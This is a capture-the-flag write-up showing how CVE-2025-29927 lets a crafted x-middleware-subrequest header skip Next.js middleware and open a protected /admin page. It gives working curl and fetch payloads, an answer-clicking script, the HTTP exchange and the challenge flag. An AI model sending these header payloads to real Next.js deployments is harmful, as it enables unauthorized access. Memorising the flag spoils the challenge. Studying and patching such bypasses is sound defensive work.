Bypassing Next.js middleware to claim the prize — CVE-2025-29927 in action
/admin
x-middleware-subrequest
watctf{next_js_middleware_is_cool}
The page presents a simple three-question quiz about Waterloo. Upon completion, a button
labeled Open Prize Page links to /admin
. Directly visiting
/admin
returned 307 Temporary Redirect, implying a server-side check (middleware) before granting access.
Link
to /admin
after finishing the quiz:
// Simplified from chunk
<button class="font-bold py-2 px-4 rounded border">
<Link href="/admin">Open Prize Page</Link>
</button>
The questions/answers array is embedded in the /_next/static/chunks/app/page-*.js
bundle. Not strictly required to exploit the bug, but useful for validation.
const a = [
{ prompt: "Which research institute is based in Waterloo?",
options: ["CERN","Perimeter Institute for Theoretical Physics","Brookhaven National Laboratory","Max Planck Institute"],
correctIndex: 1
},
{ prompt: "Which university is in Waterloo?",
options: ["Harvard University","University of Waterloo","UCLA","ETH Zürich"],
correctIndex: 1
},
{ prompt: "Which tech company was famously founded in Waterloo?",
options: ["BlackBerry (RIM)","Nokia","Sony","Xiaomi"],
correctIndex: 0
}
];
Direct GET /admin
triggered a 307 redirect. This strongly suggests middleware-based gating (e.g., “only allow if quiz completed”).
Method | Path | Result |
---|---|---|
GET | /admin | 307 Temporary Redirect |
GET | / | 200 OK |
In such CTFs the check often relies on Next.js Middleware.
Summary: Next.js accepted a special internal header, x-middleware-subrequest
, from external clients. When present in specific forms, the framework would treat the request as an internal sub-request and skip middleware authorization logic, enabling an authorization bypass on routes protected by middleware.
/admin
).Patched in Next.js 14.2.25 and 15.2.3 (see vendor advisory / NVD). Self-hosted apps on older versions remain vulnerable unless mitigated at the edge/WAF or upgraded.
Always verify on the official advisory sheet for your exact major/minor.
x-middleware-subrequest
to prevent internal looping/infinite recursion.From a terminal, send a request to the protected route with the crafted header. Depending on project structure, two common forms work:
curl -i -L \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
https://challs.watctf.org:3080/admin
The repeated tokens reflect how the router/middleware pipeline detects “subrequests”.
curl -i -L \
-H 'x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware' \
https://challs.watctf.org:3080/admin
If the codebase uses /src/middleware.ts
, this variant often succeeds.
Successful exploitation returns the admin page or prize content without legitimately completing server-side checks.
Flag retrieved:
watctf{next_js_middleware_is_cool}
x-middleware-subrequest
.403
/302→/login
instead of content.x-middleware-subrequest
from the Internet.// In DevTools Console on the site
fetch('/admin', {
redirect: 'manual',
headers: {
'x-middleware-subrequest': 'middleware:middleware:middleware:middleware:middleware'
}
}).then(r => console.log(r.status, r.headers.get('Location')));
(async () => {
const answers = [
"Perimeter Institute for Theoretical Physics",
"University of Waterloo",
"BlackBerry (RIM)"
];
const sleep = ms => new Promise(r => setTimeout(r, ms));
for (const a of answers) {
const btn = [...document.querySelectorAll('button')]
.find(b => b.textContent.trim() === a);
if (btn) btn.click();
await sleep(250);
}
location.href = '/admin';
})();
REQUEST:
GET /admin HTTP/1.1
Host: challs.watctf.org:3080
User-Agent: curl/8.6.0
Accept: */*
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
RESPONSE (sanitized):
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
... (admin/prize content) ...
All reproduction here was performed against the CTF challenge instance for educational purposes.